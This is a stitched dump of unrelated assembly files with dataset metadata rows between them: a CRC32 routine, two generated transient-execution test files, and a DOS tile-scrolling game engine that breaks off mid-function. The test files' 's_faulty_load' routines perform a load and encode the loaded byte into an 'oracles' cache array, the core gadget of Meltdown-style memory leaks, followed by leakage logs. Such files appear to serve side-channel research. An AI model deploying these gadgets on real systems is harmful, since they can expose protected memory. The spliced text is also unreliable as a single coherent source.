; fold the 4 xmm registers to 1 xmm register with different constants
movdqa crc_tmp0, crc_0
pclmulqdq crc_0, crc_fold, 0x1
pclmulqdq crc_tmp0, crc_fold, 0x10
pxor crc_1, crc_tmp0
pxor crc_1, crc_0
movdqa crc_tmp0, crc_1
pclmulqdq crc_1, crc_fold, 0x1
pclmulqdq crc_tmp0, crc_fold, 0x10
pxor crc_2, crc_tmp0
pxor crc_2, crc_1
movdqa crc_tmp0, crc_2
pclmulqdq crc_2, crc_fold, 0x1
pclmulqdq crc_tmp0, crc_fold, 0x10
pxor crc_3, crc_tmp0
pxor crc_3, crc_2
movdqa crc_fold, [rk5 wrt rip]
movdqa crc_0, crc_3
pclmulqdq crc_3, crc_fold, 0
psrldq crc_0, 8
pxor crc_3, crc_0
movdqa crc_0, crc_3
pslldq crc_3, 4
pclmulqdq crc_3, crc_fold, 0x10
pxor crc_3, crc_0
pand crc_3, [mask2 wrt rip]
movdqa crc_1, crc_3
movdqa crc_2, crc_3
movdqa crc_fold, [rk7 wrt rip]
pclmulqdq crc_3, crc_fold, 0
pxor crc_3, crc_2
pand crc_3, [mask wrt rip]
movdqa crc_2, crc_3
pclmulqdq crc_3, crc_fold, 0x10
pxor crc_3, crc_2
pxor crc_3, crc_1
pextrd eax, crc_3, 2
not eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; precomputed constants
section .data
align 32
global pshufb_shf_table :data hidden
global fold_4 :data hidden
global rk1 :data hidden
global rk5 :data hidden
global rk7 :data hidden
global mask :data hidden
global mask2 :data hidden
global mask3 :data hidden
pshufb_shf_table:
ddq 0x008f8e8d8c8b8a898887868584838281 ; shl 15 (16-1) / shr1
ddq 0x01008f8e8d8c8b8a8988878685848382 ; shl 14 (16-3) / shr2
ddq 0x0201008f8e8d8c8b8a89888786858483 ; shl 13 (16-4) / shr3
ddq 0x030201008f8e8d8c8b8a898887868584 ; shl 12 (16-4) / shr4
ddq 0x04030201008f8e8d8c8b8a8988878685 ; shl 11 (16-5) / shr5
ddq 0x0504030201008f8e8d8c8b8a89888786 ; shl 10 (16-6) / shr6
ddq 0x060504030201008f8e8d8c8b8a898887 ; shl 9 (16-7) / shr7
ddq 0x07060504030201008f8e8d8c8b8a8988 ; shl 8 (16-8) / shr8
ddq 0x0807060504030201008f8e8d8c8b8a89 ; shl 7 (16-9) / shr9
ddq 0x090807060504030201008f8e8d8c8b8a ; shl 6 (16-10) / shr10
ddq 0x0a090807060504030201008f8e8d8c8b ; shl 5 (16-11) / shr11
ddq 0x0b0a090807060504030201008f8e8d8c ; shl 4 (16-12) / shr12
ddq 0x0c0b0a090807060504030201008f8e8d ; shl 3 (16-13) / shr13
ddq 0x0d0c0b0a090807060504030201008f8e ; shl 2 (16-14) / shr14
ddq 0x0e0d0c0b0a090807060504030201008f ; shl 1 (16-15) / shr15
;; ; MAGIC value, which when folded 4 times gives FFFFFF00000...0000
;; global crc_init_4
;; crc_init_4:
;; ddq 0x9db42487
;; ddq 0x0
;; ddq 0x0
;; ddq 0x0
; constant used to shift/fold one XMM reg down by 4 XMM widths
fold_4:
dq 0x00000001c6e41596
dq 0x0000000154442bd4
; constants used in crc_512to32
align 16
rk1: dq 0x00000000ccaa009e
rk2: dq 0x00000001751997d0
rk5: dq 0x00000000ccaa009e
rk6: dq 0x0000000163cd6124
rk7: dq 0x00000001f7011640
rk8: dq 0x00000001db710640
mask: dq 0xFFFFFFFFFFFFFFFF, 0x0000000000000000
mask2: dq 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF
;value, which when xored with pshufb_shf_table entry gives shr value
mask3: ddq 0x80808080808080808080808080808080
%endif ;; if ((MAJOR_VERSION == IGZIP0C) || (MAJOR_VERSION == IGZIP1C))
| 27.355731 | 73 | 0.677792 |
5df4ec74b852d05ea57f7cc210c1fc63c93168a3 | 6,772 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_225.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_225.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_225.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x124cf, %rsi
lea addresses_normal_ht+0x18a7f, %rdi
nop
nop
nop
sub %rdx, %rdx
mov $54, %rcx
rep movsw
nop
nop
nop
dec %rsi
lea addresses_A_ht+0x6d53, %rsi
lea addresses_A_ht+0x11bcf, %rdi
sub %rbx, %rbx
mov $120, %rcx
rep movsw
add $31341, %rcx
lea addresses_WT_ht+0x1014f, %rsi
lea addresses_UC_ht+0x41ff, %rdi
nop
nop
cmp $36315, %rbp
mov $18, %rcx
rep movsb
nop
nop
inc %rcx
lea addresses_normal_ht+0xa40f, %rdx
nop
nop
sub $37211, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rdx)
nop
nop
nop
nop
inc %rbp
lea addresses_A_ht+0xd9cf, %rsi
lea addresses_normal_ht+0x12bcf, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $46, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $60806, %rdx
lea addresses_D_ht+0x6e4f, %rdi
nop
nop
nop
nop
sub %rbx, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, (%rdi)
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0xc2ef, %r12
nop
nop
dec %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r12)
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0xbc4f, %rsi
lea addresses_WT_ht+0x888f, %rdi
nop
nop
nop
add %rax, %rax
mov $50, %rcx
rep movsq
nop
nop
nop
nop
add $52593, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r9
push %rax
push %rdx
push %rsi
// Store
lea addresses_A+0x3c9c, %r12
nop
nop
cmp $49024, %r10
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r12)
nop
nop
nop
nop
add %r12, %r12
// Store
lea addresses_A+0x14cc7, %rax
nop
nop
nop
nop
nop
xor $4803, %r9
mov $0x5152535455565758, %r13
movq %r13, %xmm2
movups %xmm2, (%rax)
nop
nop
nop
cmp %r10, %r10
// Faulty Load
lea addresses_RW+0x1ac4f, %r12
nop
nop
add %r9, %r9
vmovups (%r12), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r10
lea oracles, %r9
and $0xff, %r10
shlq $12, %r10
mov (%r9,%r10,1), %r10
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': True}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 35.088083 | 2,999 | 0.662729 |
0c752c74417d9f83437fea1844910147bb94ec06 | 2,214 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_51_550.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_51_550.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_51_550.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %rbp
push %rdx
push %rsi
lea addresses_WC_ht+0x9d5a, %rbp
nop
nop
nop
add $50065, %r11
mov (%rbp), %dx
nop
nop
nop
nop
inc %r8
lea addresses_WT_ht+0x15302, %rbp
nop
nop
nop
cmp $41288, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
dec %rdx
pop %rsi
pop %rdx
pop %rbp
pop %r8
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r9
push %rax
push %rbx
push %rsi
// Store
lea addresses_US+0x8302, %r15
xor $38054, %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm2
movups %xmm2, (%r15)
nop
nop
nop
sub $49122, %r9
// Store
lea addresses_A+0x18c7a, %r10
nop
nop
xor $6833, %rbx
movw $0x5152, (%r10)
nop
nop
nop
nop
inc %r10
// Store
lea addresses_RW+0x7b42, %rax
nop
nop
nop
cmp %r10, %r10
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_US+0x8302, %r11
nop
cmp %r9, %r9
mov (%r11), %si
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'58': 51}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 18.605042 | 152 | 0.644083 |
1ee7fdef7560463c96d4b82b1df80aaf9401f756 | 15,062 | asm | Assembly | consoles/dos/src/paxconsola.asm | tcr/paxconsola | 0fca2fd3fe131a8f522b7e50f56c7e7897d342bc | [
"MIT"
] | 6 | 2020-01-15T07:25:07.000Z | 2021-12-27T23:45:44.000Z | consoles/dos/src/paxconsola.asm | tcr/paxconsola | 0fca2fd3fe131a8f522b7e50f56c7e7897d342bc | [
"MIT"
] | 1 | 2021-08-30T04:15:47.000Z | 2021-08-30T04:15:47.000Z | consoles/dos/src/paxconsola.asm | tcr/paxconsola | 0fca2fd3fe131a8f522b7e50f56c7e7897d342bc | [
"MIT"
] | 1 | 2020-01-10T16:10:10.000Z | 2020-01-10T16:10:10.000Z | cpu 8086
MISC_OUTPUT equ 03c2h
GC_INDEX equ 03ceh
SC_INDEX equ 03c4h
SC_DATA equ 03c5h
CRTC_INDEX equ 03d4h
CRTC_DATA equ 03d5h
INPUT_STATUS equ 03dah
AC_WRITE equ 03c0h
AC_READ equ 03c1h
MAP_MASK equ 02h
MEMORY_MODE equ 04h
UNDERLINE_LOC equ 14h
MODE_CONTROL equ 17h
HIGH_ADDRESS equ 0ch
LOW_ADDRESS equ 0dh
LINE_OFFSET equ 13h
PEL_PANNING equ 13h
CRTC_LINECOMPARE equ 24
CRTC_OVERFLOW equ 7
CRTC_MAXSCANLINE equ 9
; Application defines
KEYBOARD_VALUE equ 0x7e
ROWS_COUNT equ 15
COLUMNS_COUNT equ 21
TILE_WIDTH equ 16
TILE_HEIGHT equ 16
TILE_IN_BYTES equ (2 * TILE_HEIGHT * 4)
ROW_WIDTH_IN_BYTES equ (COLUMNS_COUNT * 2)
SCREEN_IN_BYTES equ (ROW_WIDTH_IN_BYTES * TILE_HEIGHT * ROWS_COUNT)
START_HORIZONTAL_OFFSET equ 8
START_VERTICAL_OFFSET equ 8
; Have the next screen offset be four pixels adjusted
VIDEO_BUFFER_OFFSET equ (ROW_WIDTH_IN_BYTES * TILE_HEIGHT * (ROWS_COUNT + 4))
ASCII_LEFT equ 37
ASCII_UP equ 38
ASCII_RIGHT equ 39
ASCII_DOWN equ 40
MAP_WIDTH equ 32
MAP_HEIGHT equ 32
org 100h
; Program start
start:
mov ax, $0 ;ES points to our Code segment
mov es, ax
; clear flags
cld
; Clear initial RAM
mov ax, 0
; bytes
mov [PelPanning], al
; words
mov [VerticalOffset], ax
mov [KEYBOARD_VALUE], ax
mov [RelativeXCoordinate], ax
mov [RelativeYCoordinate], ax
mov [HeroSpriteX], ax
mov [HeroSpriteY], ax
; Setup random seed
call rand_seed
ifdef ENGINE_TAURUS
; Clear memory
mov ax, $1000
.clear_memory:
dec ax
mov bx,ax
add bx,0xc000
mov byte ptr [bx],0
test ax,ax
jnz .clear_memory
engine_start:
; Switch to Mode 0
mov al, 00h
call set_video_mode
; Disable cursor
mov cx,0xffff
mov ah,1
int 10h
; Setup return stack for Forth
mov bx,0xF000
mov bp,bx
; Call Forth
xchg sp,bp
call PAX_main
xchg sp,bp
main_loop:
; Setup return stack for Forth
mov bx,0xF000
mov bp,bx
; Call Forth
xchg sp,bp
call PAX_next2Dframe
xchg sp,bp
; Wait for VBLANK.
call wait_vsync
call wait_vsync
call wait_vsync
; Poll keyboards
call poll_keyboard
; Loop
jmp main_loop
endif
ifdef ENGINE_LIBRA
engine_start:
; Switch to Mode 13 (ega 320x200 16 color)
mov al, 0Dh
call set_video_mode
; Switch video to unchained mode
mov dx,SC_INDEX
mov ax,604h
out dx,ax
; Setup the color palette.
call setup_palette
; Set EGA virtual line width higher to compensate for scroll
mov bx, (ROW_WIDTH_IN_BYTES * 8)
call set_virtual_screen_width
; Setup buffer indexes. Offscreen buffer initially lives at VIDEO_BUFFER_OFFSET.
mov ax, VIDEO_BUFFER_OFFSET
mov [BufferOffscreen], ax
mov ax, 0
mov [BufferOnscreen], ax
; Setup horizontal panning register.
mov ax, START_HORIZONTAL_OFFSET
mov [PelPanning],al
mov [RelativeXCoordinate], ax
; Compute initial VRAM offset: one column and one row
mov ax, START_VERTICAL_OFFSET * ROW_WIDTH_IN_BYTES
mov [VerticalOffset],ax
mov ax, START_VERTICAL_OFFSET
mov [RelativeYCoordinate], ax
draw_entire_map:
mov ch, ROWS_COUNT
.draw_row:
dec ch
push cx
mov cl, COLUMNS_COUNT
.draw_tile:
dec cl
push cx
push cx
mov bx, 0
mov bl, ch
mov ch, 0
call map_bitmap_lookup
pop cx
; draw individual tile
mov bh,cl ; X
shl bh,1
mov bl,ch ; Y
shl bl,1
shl bl,1
shl bl,1
shl bl,1
mov ch,2 ; Width
mov cl,16 ; Height
call draw_bitmap
; loop .draw_tile
pop cx
test cl,cl
jnz .draw_tile
; loop .draw_row
pop cx
test ch,ch
jnz .draw_row
; Wait for VSYNC and then redraw the screen.
game_loop:
call wait_display_enable
; Swap buffers
mov ax, [BufferOnscreen]
mov bx, [BufferOffscreen]
mov [BufferOffscreen], ax
mov [BufferOnscreen], bx
; Calculate VRAM offset.
mov bh, 0
mov bl, [PelPanning]
shr bx, 1
shr bx, 1
shr bx, 1
add bx, [VerticalOffset]
add bx, [BufferOnscreen]
; Set VRAM offset.
mov ah, bl
mov al, LOW_ADDRESS
mov dx, CRTC_INDEX
out dx, ax
mov ah, bh
mov al, HIGH_ADDRESS
mov dx, CRTC_INDEX
out dx, ax
; Set PEL_PANNING register.
mov ah, 0
mov al, [PelPanning]
mov bh, al
mov ax, 0x1000
mov bl, PEL_PANNING
int 10h
; Wait for VSYNC.
call wait_vsync
.check_keys:
; Poll keyboard
call poll_keyboard
call pan_map
call redraw_sprites
jmp game_loop
;
; Panning the background in response to a keypress.
;
; ax = keyboard value
pan_map:
; Read from keyboard buffer
mov ax, [KEYBOARD_VALUE]
; Check keys.
cmp al, ASCII_RIGHT
jz .key_right
cmp al, ASCII_LEFT
jz .key_left
cmp al, ASCII_DOWN
jz .key_down
cmp al, ASCII_UP
jz .key_up
; Continue redrawing frame.
jmp frame_work
.key_left:
; Decrease relative coordinate
dec word ptr [RelativeXCoordinate]
; Decrease PEL Panning register
dec byte ptr [PelPanning]
js frame_work_left
jmp frame_work
.key_right:
; Decrease relative coordinate
inc word ptr [RelativeXCoordinate]
; Increase PEL Panning register
inc byte ptr [PelPanning]
mov al, [PelPanning]
cmp al,TILE_WIDTH
jge .key_right_frame_work_right
jmp frame_work
.key_right_frame_work_right:
jmp frame_work_right
.key_up:
; Decrease relative coordinate
dec word ptr [RelativeYCoordinate]
; Decrease Vertical Offset
mov ax, [VerticalOffset]
sub ax, ROW_WIDTH_IN_BYTES
mov [VerticalOffset], ax
js .key_up_frame_work_up
jmp frame_work
.key_up_frame_work_up:
jmp frame_work_up
.key_down:
; Decrease relative coordinate
inc word ptr [RelativeYCoordinate]
; Decrease Vertical Offset
mov ax, [VerticalOffset]
add ax, ROW_WIDTH_IN_BYTES
mov [VerticalOffset], ax
cmp ax, (ROW_WIDTH_IN_BYTES * 16)
jge .key_up_frame_work_down
jmp frame_work
.key_up_frame_work_down:
jmp frame_work_down
frame_work:
; Copy frame buffer
mov ax, 0
mov bx, 0
mov cx, (SCREEN_IN_BYTES / 2)
call copy_screen_to_buffer
ret
; Pan off left side, draw left column
frame_work_left:
; if we only panned on the right side of a tile, don't redraw column
test word ptr [RelativeXCoordinate], 0x8
jnz .new_column
; Copy frame buffer right 8 pixels
mov ax, 0
mov bx, 1
mov cx, (SCREEN_IN_BYTES / 2)
call copy_screen_to_buffer
; Update panning counter
mov ah, 7
mov [PelPanning], ah
ret
.new_column:
; Copy frame buffer right 16 pixels
mov ax, 0
mov bx, 2
mov cx, (SCREEN_IN_BYTES / 2) - 2
call copy_screen_to_buffer
; Update panning counter
mov ah, (TILE_WIDTH - 1)
mov [PelPanning], ah
mov ch, ROWS_COUNT
.draw_column:
dec ch
push cx
; draw individual tile
mov bh,0
mov bl,ch
shl bl,1
shl bl,1
shl bl,1
shl bl,1
mov ch,2 ; Width
mov cl,TILE_HEIGHT ; Height
call frame_map_bitmap_lookup
call draw_bitmap
; loop .draw_column
pop cx
test ch,ch
jnz .draw_column
inc word ptr [HeroSpriteX]
inc word ptr [HeroSpriteX]
ret
; Pan off right side, draw right column
frame_work_right:
; Copy frame buffer left 16 pixels
mov ax, 2
mov bx, 0
mov cx, (SCREEN_IN_BYTES / 2) - 2
call copy_screen_to_buffer
; Update panning counter
mov ah, 0
mov [PelPanning], ah
mov ch, ROWS_COUNT
.draw_column:
dec ch
push cx
; draw individual tile
mov bh,(COLUMNS_COUNT - 1)*2
mov bl,ch
shl bl,1
shl bl,1
shl bl,1
shl bl,1 ; * 16
mov ch,2 ; Width
mov cl,TILE_HEIGHT ; Height
call frame_map_bitmap_lookup
call draw_bitmap
; loop .draw_column
pop cx
test ch,ch
jnz .draw_column
dec word ptr [HeroSpriteX]
dec word ptr [HeroSpriteX]
ret
frame_work_up:
; Copy frame buffer
mov ax, 0
mov bx, ROW_WIDTH_IN_BYTES * TILE_HEIGHT
mov cx, ((SCREEN_IN_BYTES - (ROW_WIDTH_IN_BYTES * TILE_HEIGHT)) / 2)
call copy_screen_to_buffer
mov ax, (ROW_WIDTH_IN_BYTES * (TILE_HEIGHT - 1))
mov [VerticalOffset], ax
mov cl, COLUMNS_COUNT
.draw_row:
dec cl
push cx
; draw individual tile
mov bh,cl
shl bh,1
mov bl,0
mov ch,2 ; Width
mov cl,TILE_HEIGHT ; Height
call frame_map_bitmap_lookup
call draw_bitmap
; loop .draw_row
pop cx
test cl,cl
jnz .draw_row
mov ax, word ptr [HeroSpriteY]
add ax, TILE_HEIGHT
mov word ptr [HeroSpriteY], ax
ret
frame_work_down:
; Copy frame buffer
mov ax, ROW_WIDTH_IN_BYTES * TILE_HEIGHT
mov bx, 0
mov cx, ((SCREEN_IN_BYTES - (ROW_WIDTH_IN_BYTES * TILE_HEIGHT)) / 2)
call copy_screen_to_buffer
mov ax, 0
mov [VerticalOffset], ax
mov cl, COLUMNS_COUNT
.draw_row:
dec cl
push cx
; draw individual tile
mov bh,cl
shl bh,1
mov bl, (ROWS_COUNT - 1) * TILE_HEIGHT
mov ch,2 ; Width
mov cl,TILE_HEIGHT ; Height
call frame_map_bitmap_lookup
call draw_bitmap
; loop .draw_row
pop cx
test cl,cl
jnz .draw_row
mov ax, word ptr [HeroSpriteY]
sub ax, TILE_HEIGHT
mov word ptr [HeroSpriteY], ax
ret
;
; Method for redrawing on-screen sprites
;
redraw_sprites:
; FIXME definitely a bug here
mov ax, [HeroSpriteX]
mov bh,al
mov ax, [HeroSpriteY]
mov bl,al
call frame_map_bitmap_lookup
; clear tile behind a sprite
mov bh, byte ptr [HeroSpriteX]
mov bl, byte ptr [HeroSpriteY]
mov ch, 2 ; Width
mov cl, 16 ; Height
call draw_bitmap ; draw to second buffer
mov word ptr [HeroSpriteX], 10 * 2
mov word ptr [HeroSpriteY], 6 * TILE_HEIGHT
; draw sprite
mov bh, byte ptr [HeroSpriteX] ; X
mov bl, byte ptr [HeroSpriteY] ; Y
mov ch,2 ; Width
mov cl,16 ; Height
mov si, bitmap_hero
call draw_bitmap ; draw to second buffer
ret
; ; bx = local X offset
; ; cx = local Y offset
; ; out bx = global X index
; ; out cx = global Y index
; get_global_offset:
; mov ax, 0
; mov al, bh
; shl ax, 3
; add ax, word [RelativeXCoordinate]
; sar ax, 4
; mov cx, ax
; mov ax, 0
; mov al, bl
; add ax, word [RelativeYCoordinate]
; sar ax, 4
; mov bx, ax
; ret
; bh = local X offset
; bl = local Y offset
; out bx = global Y index
; out cx = global X index
get_panning_offset:
mov ax, 0
mov al, bh
shl ax, 1
shl ax, 1
shl ax, 1 ; bh * 8
add ax, word ptr [RelativeXCoordinate]
sar ax, 1
sar ax, 1
sar ax, 1
sar ax, 1 ; / 16
mov cx, ax
mov ax, 0
mov al, bl
add ax, word ptr [RelativeYCoordinate]
sar ax, 1
sar ax, 1
sar ax, 1
sar ax, 1
mov bx, ax
ret
;
; sprite lookup
;
; bh = local X offset
; bl = local Y offset
;
; out ax = trashed
frame_map_bitmap_lookup:
push cx
push bx
call get_panning_offset
call map_bitmap_lookup
pop bx
pop cx
ret
; cx = X coord
; bx = Y coord
map_bitmap_lookup:
test cx, cx
js .null
cmp cx, MAP_WIDTH
jge .null
test bx, bx
js .null
cmp bx, MAP_HEIGHT
jge .null
.lookup:
mov ax, bx
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1 ; * MAP_WIDTH
add ax, cx
shl ax, 1
add ax, map_level_1
mov bx, ax
mov ax, 0
mov al, [bx]
